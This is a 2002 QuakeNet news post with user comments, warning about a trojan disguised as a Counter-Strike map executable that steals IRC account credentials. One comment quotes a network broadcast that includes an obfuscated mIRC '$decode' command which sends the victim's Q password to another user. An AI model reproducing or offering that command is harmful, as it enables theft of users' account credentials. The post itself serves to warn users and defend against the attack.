Yet another trojan

Posted by Yarn on Sunday 27 October 2002

There is a trojan horse program making the rounds, currently under the name of deaztec1.6_final.exe. Do not download/open it if you wish to keep your QuakeNet username and password secure. If you have opened it you should change your Q password, uninstall mIRC, run a virus checker and then reinstall mIRC.

As always, only accept programs from people you know, and double check that they sent you the file, not an imposter or someone controlling their IRC client

Use \'/msg q newpass [old password] [new password] [new password]\' (without the [ and ] marks) to change your password while authed.

I think it\'s pathetic that script kiddies take time to create viruses for the sole purpose of taking over a channel in IRC. Viruses are by nature pathetic things, but I find it especially stupid it\'s over something so petty. In conclusion, never EVER EVER open any .EXE, .PIF, .SCR, .BAT, .COM etc file which you are even the smallest bit unsure about.

well.... somebody used this trojan to take over the q in #pro.eSports and banned all users in the channel:/ have to request a new one now :(

It\'s a shame that the same recipe works every time better (ie an appealing file to get, such as a patch, a map or a cheat)... People should learnto be doubtful. It could be good to have some broadcasted information on the network about such worms so that people that usually know nothing about them could be aware of their existence.

[BLT]Altherac said on Monday 28 October 2002

it was broadcasted this time.

JaSt said on Monday 28 October 2002

Hi Mother im in tv :)

Pain^ said on Wednesday 30 October 2002

really what you should do if even a best friend you know sends you anything like a .exe/.zip you should create a new folder, place it in there and then run a virus scanner on it and be sure it is say before you open the file and run it. *sigh* why bother taking over channels, thats pointless imo, what do you get out of it, a g-line OOO ! Why don\'t these people grow up and do something better with their computing skills. :l

Xniper said on Friday 01 November 2002

pffffff, how lame. the cocks ruin games and IRC now. we cant escape them :( Ban em all is all I can say. Good job for informing us quickly quakenet. keep up the good work on ur kickass IRC server :D

|DA|Maximus said on Friday 01 November 2002

eXtreM|Nico, tu dois pas downloader le fichier de_aztec_1.6_final.exe qu\'on risque de t\'envoyer par DCC. Si tu l\'as deja télécharger, ne l\'ouvre pas, si tu l\'as deja ouvert, Uninstalle ton mIRC, scan ton PC (antivirus), et reinstalle mIRC.

symMM said on Friday 01 November 2002

If you do see a guy who\'s got this trojan, please don\'t paste logs of it here... we don\'t want MORE people clicking on that link.

ozzy said on Friday 01 November 2002

Good point ozzy. We see people all the time that pastes the nospam worm and other IRC worms(not only this worm) in #help and other channels.

Cide said on Tuesday 05 November 2002

Hooray for trojans.. I hope a good number of Counter-Strike playing vermin were killed off :-)

SuperNoodle said on Friday 08 November 2002

And what was this btw? -O- (Broadcast) If you see someone asking you to type this line: //msg Nickname $decode( [ [ $decode(JxeuYXV0aC5wyxhz,m) ] ] ,m) - DO NOT WRITE IT. It will send your Q account password to another user.

[Stalker] said on Monday 25 November 2002

If ppl werent so greedy/nosey/perverse they would fall for any of these trojans. + tbh ... why would it be an .exe when almost every map(pack) is published in a .zip =/ I\'d say get some common sense .. but as i cant give u a URL for it, 99% of you are stuck :|
